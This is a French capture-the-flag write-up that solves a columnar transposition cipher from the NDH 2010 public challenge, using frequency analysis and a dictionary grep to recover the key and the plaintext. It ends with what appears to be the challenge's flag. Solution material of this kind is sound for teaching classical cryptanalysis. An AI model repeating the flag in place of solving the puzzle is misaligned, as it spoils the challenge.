L'épreuve 2 de cryptographie du challenge public de la ndh 2010 demande une bonne analyse du cipher (texte chiffré). Pour commencer, il ne faut pas tomber dans le piège du HTML en récupérant le cipher. Le HTML transforme plusieurs espaces en un seul espace par défaut, du coup la résolution du problème devient bien plus ardue.

Le cipher à décrypter est donc :

pArmpamete an, canps'  aeetot pru   drdahefrcief ror.P u llgef,aa tsfi e deeem mea avc lgledinu e sudssoX.XXXXXX

Que nous dit l'analyse du cipher ?
  • On trouve plusieurs classe de caractères : minuscules (en majorité), majuscule, signes de ponctuation. La fréquence de chaque classe à l'air d'être cohérente (à première vue) avec un texte classique. La position par contre n'est pas classique.
  • Il y a un ensemble de X à la fin, comme un espèce de padding.
  • L'analyse de fréquence des lettres nous dit que les lettres E et A sont les lettres qui reviennent le plus souvent, ce qui correspond aux deux lettres les plus fréquentes en Français. Bon l'analyse de fréquence avec un texte aussi court est à prendre avec des pincettes, mais ça reste une information intéressante.
Tous ces éléments ici font passer à un chiffre de transposition. Les chiffres de transposition rectangulaire respectent la fréquence des lettres, ils ne font que mélanger l'ensemble des caractères. En plus ce chiffre nécessite un padding pour pouvoir réaliser correctement le rectangle.

La longueur du cipher est 112. Pour ranger 112 caractères dans un rectangle, on a pas beaucoup de choix sur les différents rectangles possibles : 56x2, 28x4, 16x7, 14x8, 8x14, 7x16, 4x28 et 2x56 (colonne x ligne).

De tous ces rectangles possibles, seuls les rectangles suivants mettent le padding sur la même ligne : 56x2, 28x4, 16x7, 14x8 et 8x14.

On va commencer par le tableau 8x14 qui est celui qui demande la clé la plus petite (clé de 8).

0 1 2 3 4 5 6 7
p A r m p a m e
t e a n , c
a n p s ' a
e e t o t p r
u d r d a
h e f r c i e f
r o r . P u
l l g e f , a
a t s f i e
d e e e m m
e a a v c l
g l e d i n u
e s u d s s o
X . X X X X X X


On remarque que la 2° colonne possède une majuscule sur la première ligne et que c'est le seul caractère différent de X sur la dernière. C'est intéressant, la 2° colonne est donc probablement en réalité la première.
On recherche donc un mot commençant par un A faisant au minimum 9 caractères (il y a un E sous le A), ne possédant que les caractères A, R, P, M, E sur ces 8 premiers caractères et un E en 9° caractère. On regarde les mots du dictionnaire qui respectent cette règle :

time0ut# grep --color -E '^a(r|p|m)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)e' dic.txt
apparemment

Super ! Un seul mot correspond. De plus les deux lettres suivantes N et T se trouvent sur la deuxième ligne sous les lettres P. Tout fonctionne bien.

Deux clés sont donc possibles car on ne peut pas différencier les deux M dans apparemment :
  • 1,4,0,5,2,7,3,6
  • 1,4,0,5,2,7,6,3
On regarde ce que ça donne :

14052736
A
p
p
a
r
e
m
m
e
n
t
,
c
a
n
'
a
p
a
s
e
t
e
t
r
o
p
d
u
r
a
d
e
c
h
i
f
f
r
e
r
.
P
o
u
r
l
e
f
l
a
g
,
f
a
i
t
e
s
d
e
m
e
m
e
a
v
e
c
l
a
l
i
g
n
e
d
u
d
e
s
s
o
u
s
.
X
X
X
X
X
X
X


14052763
Apparemm
ent,ca
n'apas
etetrpo
durad
echiffer
r.Pour
lefla,g
faites
dememe
avecla
ligneud
dessosu
.XXXXXXX


On voit que la bonne clé est 1,4,0,5,2,7,3,6. Le texte déchiffré est donc :
Apparemment, ca n'a pas ete trop dur a dechiffrer. Pour le flag, faites de meme avec la ligne du dessous.XXXXXXX
Il ne reste plus qu'à appliquer la même opération sur la deuxième ligne et obtenir le résultat.
1b6d0ccf12a5ccbc7d0329cd1580226f